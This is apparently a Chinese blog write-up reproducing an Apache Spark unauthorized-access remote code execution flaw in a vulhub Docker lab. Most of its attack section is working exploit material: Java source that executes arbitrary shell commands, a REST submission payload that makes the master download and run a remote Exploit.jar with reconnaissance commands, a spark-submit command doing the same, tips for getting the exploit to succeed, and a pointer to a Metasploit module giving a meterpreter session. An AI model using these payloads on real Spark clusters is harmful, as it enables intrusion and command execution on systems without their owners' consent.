【漏洞复现】Apache Spark 未授权访问漏洞
文章目录
- 一、漏洞背景
- 二、漏洞详情
- 三、测试版本
- 四、漏洞复现
- 漏洞环境
- 漏洞利用
一、漏洞背景
Apache Spark 是一个开源集群运算框架,专为大规模数据处理而设计的快速通用的计算引擎,Spark是UC Berkeley AMP lab
(加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce 的通用并行框架。
二、漏洞详情
Apache Spark 是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL
(访问控制),我们将可以在集群中执行任意代码
。
三、测试版本
Apache Spark 2.3.1
四、漏洞复现
漏洞环境
使用docker+vulhub启动测试环境
环境启动后,执行docker ps可以看到开放4个端口,8080
,8081
,6066
,7077
每个端口对应的应用界面不同。
(1)http://x.x.x.x:8080 ->master管理界面
(2)http://x.x.x.x:8081 ->slave管理界面
standalone模式下,master将在6066
端口启动一个HTTP服务器,如下图所示:7077
端口后面方法中用得到。
漏洞利用
该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。
提交方式有三种:
利用 REST API
利用 submissions 网关(集成在 7077 端口中)
利用 Metasploit中exploit模块
应用可以是Java或Python,就是一个最简单的类,如下:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
将其编译成JAR,放在任意一个HTTP或FTP上,如:https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
利用REST API 方式提交应用
standalone 模式下,master将在6066
端口启动一个HTTP服务器,我们向这个端口提交REST格式的API:
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://your-ip:6066"
}
}
其中,spark.jars
即是编译好的应用,mainClass
是待运行的类,appArgs
是传给应用的参数。
返回的包中有 “submissionId=*****”,然后访问 http://your-ip:8081/logPage/?dirverId={submissionId}&logType=stdout
这边显示已经成功,但是访问的时候却什么都没有。
Tips:这里可能会出现的问题:
(1)在POST传参中,传参数据里面字段 "appResource"
,"spark.jars"
两个地址要一致。
(2)GIthub地址访问时出现拒绝访问,因为有时你去打的时候会去这个地址调用Exploit,jar文件,通过该文件将你传输的数据进行执行。
(3)如果依旧无法访问,那就尝试将Exploit.jar文件下载到本地,然后使用python开启一个HTTP服务,本地去调用,或者放到VPS上去访问。
(4)Content-Type: application/json 有时会出现错误
(5)一定要看版本号 <=2.4.5
那我们就换一种操作手法
burp抓包,直接将请求方法改为POST,然后一直点击send,直到数据包发完为止,将整个请求数据完整结束,这是在页面上就出现了submissionId=*******得到返回值,然后再去访问 http://your-ip:8081/logPage/?dirverId=\{submissionId\}&logType=stdout
访问界面已经存在主机名、账号等信息。
注意: 提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认是8081端口
)。实战中,由于slave可能有多个。
利用submissions网关
如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。
方法是利用 Apache Spark 自带的脚本 bin/spark-submit
:
bin/spark-submit —master spark://your-ip:7077 —deploy-mode cluster —class Exploit >https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
如果你指定的 master 参数是 rest 服务器,这个脚本会先尝试使用 rest api 来提交应用;如果发现不是 rest 服务器,则会降级到使用 submission gateway 来提交应用。
查看结果的方式与前面一致。
利用Metasploit exploit模块进行攻击
search spark
参数配置
攻击之后可得到一个java类型meterpreter会话。
还没有评论,来说两句吧...